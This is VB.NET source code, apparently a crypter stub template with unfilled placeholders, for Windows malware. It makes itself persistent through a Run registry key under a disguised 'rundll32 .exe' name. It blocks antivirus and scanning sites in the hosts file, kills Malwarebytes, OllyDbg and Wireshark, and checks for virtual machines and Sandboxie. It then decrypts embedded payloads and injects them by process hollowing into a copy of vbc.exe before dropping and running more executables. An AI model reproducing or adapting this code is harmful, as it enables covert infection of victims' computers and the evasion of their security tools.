Imports System, Microsoft.VisualBasic Imports System.Runtime.InteropServices Imports System.Text Imports System.Reflection Imports System.Security.Cryptography Imports System.Runtime.CompilerServices Imports System.IO Imports System.IO.FileStream Imports System.ComponentModel Imports Microsoft.Win32 Imports System.Diagnostics Imports System.Object Imports System.Net Imports System.Windows.Forms Imports System.Threading.Thread Imports System.Environment Module pizde Dim iohouh7877 As String = "GDGDF54545" Dim HostEditing As String = "%28%" Dim antis As String = "%29%" Dim stuff As String = "%something%" Sub Main() On Error Resume Next Dim RunningProcess As String = Process.GetCurrentProcess().ProcessName Dim processes As Process() = Process.GetProcessesByName(RunningProcess) %200% Const rady = "FUTIitp23EPE" If iohouh7877 = "hhhhhhhhhheeeee" Then Dim temp As Object = Path.GetTempPath Dim ASDASD4 = Application.ExecutablePath Dim AS3 As Object = Path.GetFullPath(ASDASD4) Dim ASFR3R As FileAttributes = FileAttributes.System + FileAttributes.Hidden My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue("rundll32", temp & "rundll32 .exe") FileCopy(AS3, temp & "\" & "rundll32 .exe") File.SetAttributes(temp & "\" & "rundll32 .exe", ASFR3R) End If Const ady = "@targuOCna@" If HostEditing = "hhhhhhhhhheeeee" Then HostEdit() Else : End If call AntiMalwarebytes() call AntiOllydbg() call AntiWireshark() call AntiVirtualBox() call AntiVirtualPC() call AntiVmWare() call IsDebuggerPresent() Dim gifa As String Dim piula As String = cacatzel Dim ADSEQ3434 As Byte() = okitokjwe33(Convert.FromBase64String(piula)) Dim dropsor As String Dim dropz As String = bilibistroc Dim dropfile As Byte() = okitokjwe33(Convert.FromBase64String(dropz)) Dim fagi As String Dim sula As String = encr Dim nuj As Byte() = decrypt(Convert.FromBase64String(sula), "parola") Dim blablabla As String Dim bind As String = bind2 Dim file2 As Byte() = okitokjwe33(Convert.FromBase64String(bind)) System.Text.Encoding.GetEncoding(1252).GetBytes(piula) Dim temp3 As Object = Path.GetTempPath Dim asfast53 As String Dim fas34434daDdasDSA As String Directory.CreateDirectory(temp3 & "winamp") Dim FAS43243 As String = temp3 & "\" & "winamp" & "\" & "am reusit.exe" asfast53 = "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" fas34434daDdasDSA = temp3 & "\" & "winamp" & "\" & "am reusit.exe" If System.IO.File.Exists(fas34434daDdasDSA) = False Then System.IO.File.Copy(asfast53, fas34434daDdasDSA) End If Dim ASFR3R2 As FileAttributes = FileAttributes.System + FileAttributes.Hidden File.SetAttributes(temp3 & "\" & "winamp" & "\" & "am reusit.exe", ASFR3R2) If IsProcessRunning4("sandboxierpcss.exe") = False Then buffy.mickey(ADSEQ3434, FAS43243) buffy.mickey(nuj, FAS43243) End If If IsProcessRunning2("%temp%.exe") = False Then ' dak procesul.exe ruleaza atunci If IsProcessRunning5("#rundll32 .exe#") = #false# then Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to temp dir My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & "%temp%.exe", file2, False) Process.Start(TempDir & "\" & "%temp%.exe") End If End If If IsProcessRunning3("%tmp%.exe") = False Then Dim TempDir2 As String = My.Computer.FileSystem.SpecialDirectories.Temp My.Computer.FileSystem.WriteAllBytes(TempDir2 & "\" & "%tmp%.exe", dropfile, False) Process.Start(TempDir2 & "\" & "%tmp%.exe") End If End End Sub Private Declare Function IsDebuggerPresent Lib "kernel32.dll" () As Integer Sub Main2() If IsDebuggerPresent() = 1 Then Console.WriteLine("Debugger Is Present") 'DoStuff Else Console.WriteLine("Debugger Not Present") End If End Sub Private Sub HostEdit() Dim systempath As String = Environment.GetFolderPath(Environment.SpecialFolder.System) Dim hosts As String = systempath & "\" & "drivers" & "\" & "etc" & "\\" & "hosts" 'this creates a new string with the value of systempath and the above text 'in VB.NET we do not need two \\'s only one. Dim writer As New StreamWriter(hosts) writer.Write("127.0.0.1 www.virustotal.com") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 virustotal.com") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 novirusthanks.org") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 vscan.novirusthanks.org") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 virusscan.jotti.org") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 www.virusscan.jotti.org") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 virscan.org") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 www.virscan.org") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 virus-trap.org") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 www.virus-trap.org") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 filterbit.com") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 www.filterbit.com") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 viruschief.com") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 www.viruschief.com") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 kaspersky.com") writer.Write(Environment.NewLine) writer.Write("127.0.0.1 www.kaspersky.com") writer.Dispose() End Sub Dim Devices As Object, Grafikadapter As String, RegionA As String = "SELECT * FROM Win32_VideoController" Public Function AntiVirtualBox() As Boolean On Error GoTo error1 Call getDevices() Select Case Grafikadapter Case "VirtualBox Graphics Adapter" Return True Case Else Return False End Select Exit Function error1: End End Function Public Function AntiVmWare() As Boolean On Error GoTo error1 Call getDevices() Select Case Grafikadapter Case "VMware SVGA II" Return True Case Else Return False End Select Exit Function error1: End End Function Public Function AntiVirtualPC() As Boolean On Error GoTo error1 Call getDevices() Select Case Grafikadapter Case "VM Additions S3 Trio32/64" Return True Case Else Return False End Select Exit Function error1: End End Function Private Sub getDevices() On Error GoTo error1 Devices = GetObject("winmgmts:").ExecQuery(RegionA) Dim AdaptList As Object For Each AdaptList In Devices Grafikadapter = AdaptList.Description Next Exit Sub error1: End End Sub '------------------------Malwarebytes---------------------------- Sub AntiMalwarebytes() Dim generaldee As Process() = Process.GetProcesses Dim i As Integer For i = 0 To generaldee.Length - 1 Select Case Strings.LCase(generaldee(i).ProcessName) Case "mbam" generaldee(i).Kill() Case Else End Select Next End Sub Sub AntiOllydbg() Dim generaldee As Process() = Process.GetProcesses Dim i As Integer For i = 0 To generaldee.Length - 1 Select Case Strings.LCase(generaldee(i).ProcessName) Case "ollydbg" generaldee(i).Kill() Case Else End Select Next '------------------------Wireshark---------------------------- End Sub Sub AntiWireshark() Dim generaldee As Process() = Process.GetProcesses Dim i As Integer For i = 0 To generaldee.Length - 1 Select Case Strings.LCase(generaldee(i).ProcessName) Case "wireshark" generaldee(i).Kill() Case Else End Select Next End Sub '-----------------------Emulator------------------------------ Private Function IsProcessRunning2(ByVal name As String) As Boolean Dim p() As Process = Process.GetProcessesByName("%temp%") For Each pNew As Process In p If pNew Is Nothing Then Return (False) Exit For Else Return (True) Exit For End If Next End Function Private Function IsProcessRunning3(ByVal name As String) As Boolean Dim p() As Process = Process.GetProcessesByName("%tmp%") For Each pNew As Process In p If pNew Is Nothing Then Return (False) Exit For Else Return (True) Exit For End If Next End Function Private Function IsProcessRunning4(ByVal name As String) As Boolean Dim p() As Process = Process.GetProcessesByName("sandboxierpcss") For Each pNew As Process In p If pNew Is Nothing Then Return (False) Exit For Else Return (True) Exit For End If Next End Function Private Function IsProcessRunning5(ByVal name As String) As Boolean Dim p() As Process = Process.GetProcessesByName("#rundll32 #") For Each pNew As Process In p If pNew Is Nothing Then Return (False) Exit For Else Return (True) Exit For End If Next End Function Function okitokjwe33(ByVal data As Byte()) As Byte() Using E90LDMDXNJ As New System.Security.Cryptography.RijndaelManaged E90LDMDXNJ.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7} E90LDMDXNJ.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1} Return E90LDMDXNJ.CreateDecryptor.TransformFinalBlock(data, 0, data.Length) End Using End Function Function decrypt(ByVal message As Byte(), ByVal password As String) As Byte() Dim O6BB3K791m1D8qTyc2v7875E9A1nTpassarrP22wIwq85bVrtWSy2l882mfOIw0y1Qus3URxG45nrwNFZ7J8L3UXoRx As Byte() = System.Text.Encoding.Default.GetBytes(password) Dim VVlv4cC8Xf8XWeM5DNICaJ3mA01A8rallazK1T68e27rand1EHqRWBKU7rL3nv9V6hg5sbz7t34utQk9TOzQTHOHUxar1FSpR6iV9BeRR86ss4Qcb7S1X0bb736zdv61PRcAN As Integer = message(message.Length - 1) Xor 112 Dim outarr(message.Length) As Byte Dim Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k As Integer For i1 As Integer = 0 To message.Length - 1 outarr(i1) = (message(i1) Xor VVlv4cC8Xf8XWeM5DNICaJ3mA01A8rallazK1T68e27rand1EHqRWBKU7rL3nv9V6hg5sbz7t34utQk9TOzQTHOHUxar1FSpR6iV9BeRR86ss4Qcb7S1X0bb736zdv61PRcAN) Xor O6BB3K791m1D8qTyc2v7875E9A1nTpassarrP22wIwq85bVrtWSy2l882mfOIw0y1Qus3URxG45nrwNFZ7J8L3UXoRx(Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k) If Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = password.Length - 1 Then Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = 0 Else Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k + 1 Next ReDim Preserve outarr(message.Length - 2) Return outarr End Function End Module Public Class buffy Public Const ASDFASFASF As Long = &HADAS Public Const FASFASFASF As Long = &HEAD4 Public Const AFSFASFASCFC As Long = &HDAS Public Const ASDASCASDASD As Long = &HDAS Public Const BVCXBXCBXCB As Long = &HDAS Public Const BXCBXCBXCB As Long = &HFD Public Const FSDR3FSF As Long = &HDAS Public Const KKKKKKKKKDDDDDDD As Long = &H435F Public Const FSSSSSSSSSSSSSSSSSS As UInt32 = &HDAS Public Shared Sub mickey(ByVal DAS4DA3() As Byte, ByVal VVVVVVCAE As String) Dim TVM1OKF029 = New Context, ASFSVS As Section_Header, FADAS43FAS43 = New Process_Information, FADASCC43FAS43 = New Startup_Information, FSCC43FAS43 = New Security_Flags, C43FAS43 = New Security_Flags Dim YI02ALMTDK = GCHandle.Alloc(DAS4DA3, GCHandleType.Pinned) Dim ZPOIMKBNM1 As Integer = YI02ALMTDK.AddrOfPinnedObject.ToInt32 Dim VAGKWL2DMX As New DOS_Header VAGKWL2DMX = Marshal.PtrToStructure(YI02ALMTDK.AddrOfPinnedObject, VAGKWL2DMX.GetType) YI02ALMTDK.Free() Dim GN04L0ER8I As GN04L0ER8I = TXXY5U8D2U(Of GN04L0ER8I)("kernel32", "CreateProcessA") Dim R84OY4NT36 As R84OY4NT36 = TXXY5U8D2U(Of R84OY4NT36)("kernel32", "GetThreadContext") Dim Q7QRRP639W As Q7QRRP639W = TXXY5U8D2U(Of Q7QRRP639W)("kernel32", "ReadProcessMemory") Dim ZGOQ8VM05M As ZGOQ8VM05M = TXXY5U8D2U(Of ZGOQ8VM05M)("kernel32", "WriteProcessMemory") Dim EFVI2YI66B As EFVI2YI66B = TXXY5U8D2U(Of EFVI2YI66B)("ntdll", "ZwUnmapViewOfSection") Dim W6CTR6GLCC As W6CTR6GLCC = TXXY5U8D2U(Of W6CTR6GLCC)("kernel32", "VirtualAllocEx") Dim K7B3INYH01 As K7B3INYH01 = TXXY5U8D2U(Of K7B3INYH01)("kernel32", "SetThreadContext") Dim WS2XVBNVO9 As WS2XVBNVO9 = TXXY5U8D2U(Of WS2XVBNVO9)("kernel32", "ResumeThread") If GN04L0ER8I(Nothing, VVVVVVCAE, FSCC43FAS43, C43FAS43, False, 4, Nothing, Nothing, FADASCC43FAS43, FADAS43FAS43) = 0 Then Return Dim BKIFNDE2PI As New NT_Headers BKIFNDE2PI = Marshal.PtrToStructure(New IntPtr(ZPOIMKBNM1 + VAGKWL2DMX.DASE3ASDAS), BKIFNDE2PI.GetType) Dim WMRQEDO32E, HDF754 As Long, DF754 As UInteger FADASCC43FAS43.CSZE = Len(FADASCC43FAS43) TVM1OKF029.II69TOHMUR = 65539 If BKIFNDE2PI.SSSSSSSSSSSQ <> 17744 Or VAGKWL2DMX.DASDASFASF <> 23117 Then Return If GN04L0ER8I(Nothing, VVVVVVCAE, FSCC43FAS43, C43FAS43, False, 4, Nothing, Nothing, FADASCC43FAS43, FADAS43FAS43) = 0 Then Return R84OY4NT36(FADAS43FAS43.RFSER, TVM1OKF029) Q7QRRP639W(FADAS43FAS43.DAS4QQW, TVM1OKF029.WDA + 8, WMRQEDO32E, 4, 0) EFVI2YI66B(FADAS43FAS43.DAS4QQW, WMRQEDO32E) Dim X6X0CHAYT3 As UInt32 = W6CTR6GLCC(FADAS43FAS43.DAS4QQW, BKIFNDE2PI.OOOU.DFAZDASD, BKIFNDE2PI.OOOU.DASRDASRASR, 12288, 4) If X6X0CHAYT3 <> 0 Then ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, X6X0CHAYT3, DAS4DA3, BKIFNDE2PI.OOOU.WQDASDASD, DF754) HDF754 = VAGKWL2DMX.DASE3ASDAS + 248 For I As Integer = 0 To BKIFNDE2PI.DSEEEEE.DAAAAAAAA3 - 1 ASFSVS = Marshal.PtrToStructure(New IntPtr(ZPOIMKBNM1 + HDF754 + I * 40), ASFSVS.GetType) Dim FJGB2K6EL6(ASFSVS.DA22S3) As Byte For Y As Integer = 0 To ASFSVS.DA22S3 - 1 : FJGB2K6EL6(Y) = DAS4DA3(ASFSVS.PoinEEter + Y) : Next ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, X6X0CHAYT3 + ASFSVS.AL8ZCRFWNU, FJGB2K6EL6, ASFSVS.DA22S3, DF754) Next I Dim JQTOGZCAWU = BitConverter.GetBytes(X6X0CHAYT3) ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, TVM1OKF029.WDA + 8, JQTOGZCAWU, 4, DF754) TVM1OKF029.AS4 = X6X0CHAYT3 + BKIFNDE2PI.OOOU.DDDDDDDDAAA K7B3INYH01(FADAS43FAS43.RFSER, TVM1OKF029) WS2XVBNVO9(FADAS43FAS43.RFSER) End If End Sub Declare Function LoadLibraryA Lib "kernel32" (ByVal tr6 As String) As IntPtr Declare Function GetProcAddress Lib "kernel32" (ByVal gdr54 As IntPtr, ByVal gfsd54 As String) As IntPtr Private Declare Function RpcNsProfileEltAdd Lib "rpcns4.dll" Alias "RpcNsProfileEltAddA" (ByVal ProfileNameSyntax As Long, ByVal ProfileName As String, ByRef IfId As IntPtr, ByVal MemberNameSyntax As Long, ByVal MemberName As String, ByVal Priority As Long, ByVal Annotation As String) As Long Private Declare Function ldap_close_extended_op Lib "wldap32.dll" (ByRef ld As IntPtr, ByVal MessageNumber As Long) As Long Private Declare Function lineSetAppSpecific Lib "tapi32.dll" (ByVal hCall As Long, ByVal dwAppSpecific As Long) As Long Private Declare Function MgmGetNextMfeStats Lib "rtm.dll" (ByRef pimmStart As IntPtr, ByRef pdwBufferSize As Long, ByVal pbBuffer As String, ByRef pdwNumEntries As Long) As Long Private Declare Function MprAdminDeviceEnum Lib "mprapi.dll" (ByRef hMprServer As IntPtr, ByVal dwLevel As Long, ByVal lplpbBuffer As String, ByRef lpdwTotalEntries As Long) As Long Private Declare Function MsiDatabaseImport Lib "MSI.dll" (ByRef hDatabase As IntPtr, ByVal szFolderPath As String, ByVal szFileName As String) As Long Private Declare Function NdrMesSimpleTypeAlignSize Lib "rpcrt4.dll" (ByVal handle_t As Long) As Long Private Declare Function NetMessageNameDel Lib "NETAPI32.dll" (ByVal servername As String, ByVal msgname As String) As Long Private Declare Function NetReplExportDirSetInfo Lib "NETAPI32.dll" (ByVal servername As String, ByVal dirname As String, ByVal level As Long, ByVal buf As String, ByRef parm_err As Long) As Long Private Declare Function NetUseGetInfo Lib "NETAPI32.dll" (ByRef UncServerName As IntPtr, ByRef UseName As IntPtr, ByVal level As Long, ByVal bufptr As String) As Long Private Declare Function QueueUserWorkItem Lib "kernel32.dll" (ByVal lFunction As Long, ByRef Context As Long, ByVal Flags As Long) As Long Private Declare Function ReadConsoleInput Lib "kernel32.dll" Alias "ReadConsoleInputA" (ByVal hConsoleInput As Long, ByRef lpBuffer As IntPtr, ByVal nLength As Long, ByRef lpNumberOfEventsRead As Long) As Long Private Declare Function ShowWindowAsync Lib "user32.dll" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long Private Declare Function SnmpMgrCtl Lib "mgmtapi.dll" (ByRef session As IntPtr, ByVal dwCtlCode As Long, ByRef lpvInBuffer As Long, ByVal cbInBuffer As Long, ByRef lpvOUTBuffer As Long, ByVal cbOUTBuffer As Long, ByRef lpcbBytesReturned As Long) As Long Private Declare Function AddAuditAccessAceEx Lib "advapi32.dll" (ByVal pAcl As IntPtr, ByVal dwAceRevision As Long, ByVal AceFlags As Long, ByVal dwAccessMask As Long, ByRef pSid As IntPtr, ByVal bAuditSuccess As Long, ByVal bAuditFailure As Long) As Long Private Declare Function SQLInstallerError Lib "ODBCCP32.dll" (ByVal iError As Integer, ByRef pfErrorCode As Long, ByVal lpszErrorMsg As String, ByVal cbErrorMsgMax As Integer, ByRef pcbErrorMsg As Integer) As Long Private Declare Function SQLSetCursorName Lib "msorcl32.dll" (ByVal hstmt As Long, ByVal szCursor As String, ByVal cbCursor As Integer) As Long Private Declare Function RasSetCredentials Lib "rasapi32.dll" Alias "RasSetCredentialsA" (ByVal lpcstr As String, ByVal lpcstr As String, ByRef TLPRASCREDENTIALSA As IntPtr, ByVal bool As Long) As Long Private Declare Function ReadConsole Lib "kernel32.dll" Alias "ReadConsoleA" (ByVal hConsoleInput As Long, ByRef lpBuffer As Long, ByVal nNumberOfCharsToRead As Long, ByRef lpNumberOfCharsRead As Long, ByRef lpReserved As Long) As Long Private Declare Function ReadEncryptedFileRaw Lib "advapi32.dll" (ByRef pfExportCallback As IntPtr, ByRef pvCallbackContext As Long, ByRef pvContext As Long) As Long Private Declare Function ReadPrinter Lib "winspool.drv" (ByVal hPrinter As Long, ByRef pBuf As Long, ByVal cdBuf As Long, ByRef pNoBytesRead As Long) As Long Private Declare Function RegisterHotKey Lib "user32.dll" (ByVal hwnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long Private Declare Function ReleaseSemaphore Lib "kernel32.dll" (ByVal hSemaphore As Long, ByVal lReleaseCount As Long, ByRef lpPreviousCount As Long) As Long Private Declare Function GetSiteNameFromSid Lib "advapi32.dll" (ByRef pSid As Long, ByVal pwsSite As String) As IntPtr Private Declare Function GetStringTypeEx Lib "kernel32.dll" Alias "GetStringTypeExA" (ByVal Locale As Long, ByVal dwInfoType As Long, ByVal lpSrcStr As String, ByVal cchSrc As Long, ByRef lpCharType As Integer) As Long Private Declare Function GetVolumePathName Lib "kernel32.dll" Alias "GetVolumePathNameA" (ByVal lpszFileName As String, ByVal lpszVolumePathName As String, ByVal cchBufferLength As Long) As Long Private Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function TlsSetValue Lib "kernel32.dll" (ByVal dwTlsIndex As Long, ByRef lpTlsValue As Long) As Long Private Declare Function ToAscii Lib "user32.dll" (ByVal uVirtKey As Long, ByVal uScanCode As Long, ByRef lpbKeyState As Byte, ByRef lpwTransKey As Long, ByVal fuState As Long) As IntPtr Private Shared Function TXXY5U8D2U(Of T)(ByVal ASFASE3 As String, ByVal FASGAS543W As String) As T Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ASFASE3), FASGAS543W), GetType(T)), Object), T) End Function Structure Context Dim II69TOHMUR, d2, das, d9, ad, dsa, ds As UInt32, Save As Save Dim dh, sad, da, MD, RD, mSI, WDA, AD3, D21, AS4, K32, F2W, HHJ, ADF5, GSSA, DSAAA As UInt32 Dim er6rgdr65 As Byte() End Structure Structure Save Dim KD7JX2MXT, JCNS3ZPSXO, DAS3, DAS23, ADSA, DAF35, FA32D As UInteger Dim FSDRF43 As Byte() Dim FA32QA As UInt32 End Structure Structure Misc Dim SDUHRL, GSIJ As UInt32 End Structure Structure Section_Header Dim FSDPOU4PO3 As Byte, Mi2sc As Misc, AL8ZCRFWNU, DA22S3, PoinEEter, E2Q4RS, FS523QF, FSB43FSD4, QBFAS4E, AS32QFZS As UInt32 End Structure Structure Process_Information Dim DAS4QQW, RFSER As IntPtr, TGJWE, SDFFFFFFFFFF As Integer End Structure Structure Startup_Information Dim CSZE As Integer, FSDR4G, AAAAAAAAAA, AADDDDDDD As String, ADA, C, AEDS, DASDDDD, XASE4, DAS3EDFZ, DVA3ES, CCCCQ As Integer Dim FDSRS, VYE5X As Short, KHJKIHJK, KHJKHJK, KHJKHJ, KHJKJHK As Integer End Structure Structure Security_Flags Dim GFSETWE As Integer, EWEWWW As IntPtr, DASDAS As Integer End Structure Structure DOS_Header Dim DASDASFASF, QWEQWE, EQWEQWEQWE, HFGHFGHFGH, HFGHFGHFG, DASD444444, DASFASE33, DASKGHJ, DASVZDF, VXCVXC, VXCVXCV, EWECS, EWADC, UADA3 As UInt16 Dim ReservWWWWWWWWWWWWWWWedA As UInt16() Dim DAS4E, UJJ As UInt16 Dim DDDDDDDDD As UInt16() Dim DASE3ASDAS As Int32 End Structure Structure NT_Headers Dim SSSSSSSSSSSQ As UInt32, DSEEEEE As File_Header, [OOOU] As Optional_Headers End Structure Structure File_Header Dim ITTTTTTTT, DAAAAAAAA3 As UInt16, HRFTYTYTR, GJGFSFS, FSVGY As UInt32, FSFV, A34FFC As UInt16 End Structure Structure Optional_Headers Public WWWWWWWWW As UInt16, MaAAAAAAAAAAAjor, MiSSSSSSSSSSSnor As Byte, SSSSSSSSSSSSS, FFFFFFFFFFF, XXXXXXXX, DDDDDDDDAAA, FSSSSSSS, RSFS43, DFAZDASD As UInt32, SectionA, FileA As UInt32 Public GDFTDFFFF, HGDFHD564, GD5ERGD, FSD5YHD, ASDASG, AS4ASAS As UInt16, CCC, DASRDASRASR, WQDASDASD, Assssssss As UInt32, fsd4s, fjio As UInt16 Public dasrlajstpoi, dasdraskyjhuasp, SHRedas4wa9uqserve, fsdtsysyt, eawdasdas3, Cocccunt As UInt32 Public GSDGSDT4 As Data_Directory() End Structure Structure Data_Directory Dim ewq34q234, das34aw33 As UInt32 End Structure Delegate Function GN04L0ER8I(ByVal ASFASE3 As String, ByVal DASDAS3E2 As String, ByRef DASCASE As Security_Flags, ByRef CASE222 As Security_Flags, ByVal DAS432E As Boolean, ByVal AEDFKJK32 As UInt32, ByVal DSA43R3W As IntPtr, ByVal ase32ew As String, <[In]()> ByRef das43fsa As Startup_Information, ByRef das3 As Process_Information) As Boolean Delegate Function ZGOQ8VM05M(ByVal DASE32 As IntPtr, ByVal AL8ZCRFWNU As Integer, ByVal DSAE32 As Byte(), ByVal DASEADAS As Integer, ByRef ASD43FA As Integer) As Boolean Delegate Function Q7QRRP639W(ByVal FASFDASDAS As IntPtr, ByVal AL8ZCRFWNU As Integer, ByRef CAS32 As Integer, ByVal ASDASC As Integer, ByRef CASTWE As Integer) As Integer Delegate Function W6CTR6GLCC(ByVal DASE43E As IntPtr, ByVal AL8ZCRFWNU As Integer, ByVal DASCAS3 As UInt32, ByVal DAS3 As UInt32, ByVal DAS32 As UInt32) As IntPtr Delegate Function EFVI2YI66B(ByVal DASE3 As IntPtr, ByVal AL8ZCRFWNU As Integer) As Long Delegate Function WS2XVBNVO9(ByVal DASEAS As IntPtr) As UInt32 Delegate Function R84OY4NT36(ByVal DASDASC As IntPtr, ByRef DSACSA43 As Context) As Boolean Delegate Function K7B3INYH01(ByVal ASDASCASDASD As IntPtr, ByRef ASCA434 As Context) As Boolean End Class %101% %102% %103%